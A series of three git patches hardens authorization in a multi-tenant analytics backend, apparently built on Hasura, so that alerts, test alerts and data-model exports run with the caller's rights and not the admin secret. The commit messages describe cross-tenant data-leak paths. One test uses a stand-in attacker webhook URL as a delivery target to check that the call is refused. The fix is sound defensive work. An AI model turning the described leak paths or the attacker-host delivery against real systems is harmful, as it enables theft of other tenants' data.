From 59bd16d81f06d170eb5b9f29da1fd5a0c76887ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Helgi=20P=C3=A1ll=20Helgason?= Date: Thu, 8 Oct 2026 22:44:54 +0000 Subject: [PATCH 1/3] fix(auth): scope alerts/reports to readable explorations; tighten datasource writes Follow-up to #91 (independent review): - alerts/reports insert+update checks were always true (user_id preset to the caller) and exploration_id was unconstrained. The alert/report runs the exploration as its owner, so anyone knowing an exploration id could schedule another tenant's query to their own webhook/email. The row's exploration must now be one the caller can read, and team_id must be null or a team the caller belongs to. - datasources update/delete: the creator branch now only covers personal rows (team_id null), so a row planted in another team cannot be kept under control by its creator. - create_team: admin-secret callers (role admin) are trusted, so the StepCI workflows create teams with the admin secret and keep x-hasura-user-id for ownership. Co-Authored-By: Claude Opus 5.5 --- .../src/rpc/__tests__/teamAuthz.test.js | 20 +++ services/actions/src/rpc/createTeam.js | 4 +- services/hasura/metadata/tables.yaml | 121 +++++++++++++----- tests/stepci/owner_flow.yml | 2 +- .../default-models/customization.yml | 2 +- .../default-models/dynamic-access.yml | 4 +- .../workflows/default-models/preprocessor.yml | 4 +- .../default-models/reconcile-noop.yml | 2 +- .../default-models/reconcile-team.yml | 2 +- .../workflows/default-models/rollout-halt.yml | 2 +- 10 files changed, 119 insertions(+), 44 deletions(-) diff --git a/services/actions/src/rpc/__tests__/teamAuthz.test.js b/services/actions/src/rpc/__tests__/teamAuthz.test.js index c406fe1f..6a24feea 100644 --- a/services/actions/src/rpc/__tests__/teamAuthz.test.js +++ b/services/actions/src/rpc/__tests__/teamAuthz.test.js @@ -59,6 +59,26 @@ describe("create_team authorization", () => { assert.equal(await canCreateTeam({ "x-hasura-user-id": OWNER }, admin), true); }); + it("allows an admin-secret caller (role admin)", async () => { + assert.equal( + await canCreateTeam( + { "x-hasura-role": "admin", "x-hasura-user-id": OUTSIDER }, + notAdmin + ), + true + ); + }); + + it("does not trust a user-role caller that is not a portal admin", async () => { + assert.equal( + await canCreateTeam( + { "x-hasura-role": "user", "x-hasura-user-id": OUTSIDER }, + notAdmin + ), + false + ); + }); + it("allows the users-insert event trigger (no session)", async () => { assert.equal(await canCreateTeam(undefined, notAdmin), true); }); diff --git a/services/actions/src/rpc/createTeam.js b/services/actions/src/rpc/createTeam.js index 58616f20..f9ff99c5 100644 --- a/services/actions/src/rpc/createTeam.js +++ b/services/actions/src/rpc/createTeam.js @@ -42,13 +42,15 @@ const createTeam = async ({ userId, name }) => { /** * The `create_team` action makes the caller OWNER of a team with the default * datasources, so only portal admins may call it. The users-insert event - * trigger arrives without session variables and is unaffected. + * trigger arrives without session variables, and admin-secret callers + * (role `admin`) are already fully trusted; both are unaffected. */ export const canCreateTeam = async ( session, { portalAdmin = isPortalAdmin } = {} ) => { if (!session) return true; + if (session["x-hasura-role"] === "admin") return true; return portalAdmin(session["x-hasura-user-id"]); }; diff --git a/services/hasura/metadata/tables.yaml b/services/hasura/metadata/tables.yaml index 29b64c8c..5f4b21f7 100644 --- a/services/hasura/metadata/tables.yaml +++ b/services/hasura/metadata/tables.yaml @@ -204,13 +204,24 @@ - role: user permission: check: - _or: - - user_id: - _eq: X-Hasura-User-Id - - team: - members: - user_id: - _eq: X-Hasura-User-Id + _and: + - exploration: + _or: + - datasource: + user_id: + _eq: X-Hasura-User-Id + - datasource: + team: + members: + user_id: + _eq: X-Hasura-User-Id + - _or: + - team_id: + _is_null: true + - team: + members: + user_id: + _eq: X-Hasura-User-Id set: user_id: x-hasura-user-id columns: @@ -266,13 +277,24 @@ user_id: _eq: X-Hasura-User-Id check: - _or: - - user_id: - _eq: X-Hasura-User-Id - - team: - members: - user_id: - _eq: X-Hasura-User-Id + _and: + - exploration: + _or: + - datasource: + user_id: + _eq: X-Hasura-User-Id + - datasource: + team: + members: + user_id: + _eq: X-Hasura-User-Id + - _or: + - team_id: + _is_null: true + - team: + members: + user_id: + _eq: X-Hasura-User-Id delete_permissions: - role: user permission: @@ -778,16 +800,22 @@ - name filter: _or: - - user_id: - _eq: X-Hasura-User-Id + - _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - team: members: user_id: _eq: X-Hasura-User-Id check: _or: - - user_id: - _eq: X-Hasura-User-Id + - _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - team: members: user_id: @@ -797,8 +825,11 @@ permission: filter: _or: - - user_id: - _eq: X-Hasura-User-Id + - _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - team: members: user_id: @@ -1149,13 +1180,24 @@ - role: user permission: check: - _or: - - user_id: - _eq: X-Hasura-User-Id - - team: - members: - user_id: - _eq: X-Hasura-User-Id + _and: + - exploration: + _or: + - datasource: + user_id: + _eq: X-Hasura-User-Id + - datasource: + team: + members: + user_id: + _eq: X-Hasura-User-Id + - _or: + - team_id: + _is_null: true + - team: + members: + user_id: + _eq: X-Hasura-User-Id set: user_id: x-hasura-user-id columns: @@ -1208,13 +1250,24 @@ user_id: _eq: X-Hasura-User-Id check: - _or: - - user_id: - _eq: X-Hasura-User-Id - - team: - members: - user_id: - _eq: X-Hasura-User-Id + _and: + - exploration: + _or: + - datasource: + user_id: + _eq: X-Hasura-User-Id + - datasource: + team: + members: + user_id: + _eq: X-Hasura-User-Id + - _or: + - team_id: + _is_null: true + - team: + members: + user_id: + _eq: X-Hasura-User-Id delete_permissions: - role: user permission: diff --git a/tests/stepci/owner_flow.yml b/tests/stepci/owner_flow.yml index 5ee6731b..0ce6aba0 100644 --- a/tests/stepci/owner_flow.yml +++ b/tests/stepci/owner_flow.yml @@ -124,7 +124,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.accessToken}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userId}} graphql: query: | diff --git a/tests/workflows/default-models/customization.yml b/tests/workflows/default-models/customization.yml index e6da0988..8ab2edf7 100644 --- a/tests/workflows/default-models/customization.yml +++ b/tests/workflows/default-models/customization.yml @@ -189,7 +189,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.accessToken}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userId}} graphql: query: | diff --git a/tests/workflows/default-models/dynamic-access.yml b/tests/workflows/default-models/dynamic-access.yml index 6d909d46..73d68c59 100644 --- a/tests/workflows/default-models/dynamic-access.yml +++ b/tests/workflows/default-models/dynamic-access.yml @@ -227,7 +227,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.accessToken}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userId}} graphql: query: | @@ -449,7 +449,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.tokenB}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userB}} graphql: query: | diff --git a/tests/workflows/default-models/preprocessor.yml b/tests/workflows/default-models/preprocessor.yml index 7bfdd553..5404862d 100644 --- a/tests/workflows/default-models/preprocessor.yml +++ b/tests/workflows/default-models/preprocessor.yml @@ -189,7 +189,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.tokenA}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userA}} graphql: query: | @@ -294,7 +294,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.tokenB}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userB}} graphql: query: | diff --git a/tests/workflows/default-models/reconcile-noop.yml b/tests/workflows/default-models/reconcile-noop.yml index 62d5dc96..f130d2de 100644 --- a/tests/workflows/default-models/reconcile-noop.yml +++ b/tests/workflows/default-models/reconcile-noop.yml @@ -195,7 +195,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.accessToken}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userId}} graphql: query: | diff --git a/tests/workflows/default-models/reconcile-team.yml b/tests/workflows/default-models/reconcile-team.yml index 31b55ca3..851a7d8a 100644 --- a/tests/workflows/default-models/reconcile-team.yml +++ b/tests/workflows/default-models/reconcile-team.yml @@ -195,7 +195,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.accessToken}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userId}} graphql: query: | diff --git a/tests/workflows/default-models/rollout-halt.yml b/tests/workflows/default-models/rollout-halt.yml index b0446be7..d0a5166c 100644 --- a/tests/workflows/default-models/rollout-halt.yml +++ b/tests/workflows/default-models/rollout-halt.yml @@ -189,7 +189,7 @@ tests: method: POST headers: Content-Type: application/json - Authorization: Bearer ${{captures.accessToken}} + x-hasura-admin-secret: ${{env.HASURA_GRAPHQL_ADMIN_SECRET}} x-hasura-user-id: ${{captures.userId}} graphql: query: | From 3cf9945c98c4f3aea1cae8d1480e0eb33f59ad4c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Helgi=20P=C3=A1ll=20Helgason?= Date: Thu, 8 Oct 2026 22:50:10 +0000 Subject: [PATCH 2/3] fix(auth): send_test_alert reads the exploration as the caller; guard creator branches Review of #92: - send_test_alert loaded the exploration with the admin secret and ran it as its owner, delivering any tenant's results to a caller-chosen webhook/Slack/email. It now reads the exploration with the caller's token and refuses when there is none. - The "caller created the datasource" branch in the alerts/reports checks and the explorations select filter now requires team_id null, so a user removed from a team can no longer read or schedule its explorations. Co-Authored-By: Claude Opus 5.5 --- .../src/rpc/__tests__/teamAuthz.test.js | 16 +++++++++ services/actions/src/rpc/sendTestAlert.js | 18 +++++++--- services/hasura/metadata/tables.yaml | 35 +++++++++++++------ 3 files changed, 55 insertions(+), 14 deletions(-) diff --git a/services/actions/src/rpc/__tests__/teamAuthz.test.js b/services/actions/src/rpc/__tests__/teamAuthz.test.js index 6a24feea..abf8c11d 100644 --- a/services/actions/src/rpc/__tests__/teamAuthz.test.js +++ b/services/actions/src/rpc/__tests__/teamAuthz.test.js @@ -83,3 +83,19 @@ describe("create_team authorization", () => { assert.equal(await canCreateTeam(undefined, notAdmin), true); }); }); + +describe("send_test_alert authorization", () => { + it("refuses without a caller token (never reads with the admin secret)", async () => { + const { default: sendTestAlert } = await import("../sendTestAlert.js"); + const res = await sendTestAlert( + { "x-hasura-user-id": OUTSIDER }, + { + explorationId: "44444444-4444-4444-8444-444444444444", + deliveryType: "WEBHOOK", + deliveryConfig: { url: "https://attacker.example/hook" }, + }, + {} + ); + assert.equal(res.error, true); + }); +}); diff --git a/services/actions/src/rpc/sendTestAlert.js b/services/actions/src/rpc/sendTestAlert.js index fcde8c22..6b42316f 100644 --- a/services/actions/src/rpc/sendTestAlert.js +++ b/services/actions/src/rpc/sendTestAlert.js @@ -14,12 +14,22 @@ const explorationQuery = ` } `; -export default async (_, input) => { +export default async (_, input, headers) => { const { explorationId, name, deliveryConfig, deliveryType } = input || {}; + const authToken = headers?.authorization; - const queryResult = await fetchGraphQL(explorationQuery, { - id: explorationId, - }); + // Read the exploration as the caller: the runner executes it as its owner, + // so an admin-secret read would deliver any tenant's results. Without a + // caller token fetchGraphQL would fall back to the admin secret. + if (!authToken) { + return apiError("Exploration not found"); + } + + const queryResult = await fetchGraphQL( + explorationQuery, + { id: explorationId }, + authToken + ); const exploration = queryResult?.data?.explorations_by_pk; if (!exploration) { diff --git a/services/hasura/metadata/tables.yaml b/services/hasura/metadata/tables.yaml index 5f4b21f7..9fada1e3 100644 --- a/services/hasura/metadata/tables.yaml +++ b/services/hasura/metadata/tables.yaml @@ -208,8 +208,11 @@ - exploration: _or: - datasource: - user_id: - _eq: X-Hasura-User-Id + _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - datasource: team: members: @@ -281,8 +284,11 @@ - exploration: _or: - datasource: - user_id: - _eq: X-Hasura-User-Id + _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - datasource: team: members: @@ -929,8 +935,11 @@ filter: _or: - datasource: - user_id: - _eq: X-Hasura-User-Id + _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - datasource: team: members: @@ -1184,8 +1193,11 @@ - exploration: _or: - datasource: - user_id: - _eq: X-Hasura-User-Id + _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - datasource: team: members: @@ -1254,8 +1266,11 @@ - exploration: _or: - datasource: - user_id: - _eq: X-Hasura-User-Id + _and: + - team_id: + _is_null: true + - user_id: + _eq: X-Hasura-User-Id - datasource: team: members: From 03a2189fb971fd6cec29bb96e23c40f03d4ff4b6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Helgi=20P=C3=A1ll=20Helgason?= Date: Thu, 8 Oct 2026 22:54:10 +0000 Subject: [PATCH 3/3] fix(auth): export_data_models reads the branch as the caller The action read branches_by_pk and the latest version's dataschema code with the admin secret and no membership check, then returned a 7-day presigned zip: anyone with a foreign branch id could download that tenant's models. The action now forwards client headers and the handler reads with the caller's token, refusing when there is none. Co-Authored-By: Claude Opus 5.5 --- .../actions/src/rpc/__tests__/teamAuthz.test.js | 12 ++++++++++++ services/actions/src/rpc/exportDataModels.js | 17 +++++++++++++---- services/hasura/metadata/actions.yaml | 1 + 3 files changed, 26 insertions(+), 4 deletions(-) diff --git a/services/actions/src/rpc/__tests__/teamAuthz.test.js b/services/actions/src/rpc/__tests__/teamAuthz.test.js index abf8c11d..65ad217f 100644 --- a/services/actions/src/rpc/__tests__/teamAuthz.test.js +++ b/services/actions/src/rpc/__tests__/teamAuthz.test.js @@ -99,3 +99,15 @@ describe("send_test_alert authorization", () => { assert.equal(res.error, true); }); }); + +describe("export_data_models authorization", () => { + it("refuses without a caller token (never reads with the admin secret)", async () => { + const { default: exportDataModels } = await import("../exportDataModels.js"); + const res = await exportDataModels( + { "x-hasura-user-id": OUTSIDER }, + { branch_id: "55555555-5555-4555-8555-555555555555" }, + {} + ); + assert.equal(res.error, true); + }); +}); diff --git a/services/actions/src/rpc/exportDataModels.js b/services/actions/src/rpc/exportDataModels.js index f5e00c12..82e8d2c5 100644 --- a/services/actions/src/rpc/exportDataModels.js +++ b/services/actions/src/rpc/exportDataModels.js @@ -24,15 +24,24 @@ const fetchSchemasQuery = ` } `; -export default async (session, input) => { +export default async (session, input, headers) => { const { branch_id: branchId } = input; const userId = session?.["x-hasura-user-id"]; + const authToken = headers?.authorization; try { - const schemasResp = await fetchGraphQL(fetchSchemasQuery, { - branch_id: branchId, - }); + // Read as the caller: an admin-secret read exported any tenant's models. + // Without a caller token fetchGraphQL would fall back to the admin secret. + if (!authToken) { + throw new Error(`Branch ${branchId} not found!`); + } + + const schemasResp = await fetchGraphQL( + fetchSchemasQuery, + { branch_id: branchId }, + authToken + ); const branch = schemasResp?.data?.branches_by_pk; const schemas = branch?.versions?.[0]?.dataschemas || []; diff --git a/services/hasura/metadata/actions.yaml b/services/hasura/metadata/actions.yaml index af7b6bd8..719b1e03 100644 --- a/services/hasura/metadata/actions.yaml +++ b/services/hasura/metadata/actions.yaml @@ -38,6 +38,7 @@ actions: definition: kind: synchronous handler: '{{ACTIONS_URL}}/rpc/export_data_models' + forward_client_headers: true timeout: 60 permissions: - role: user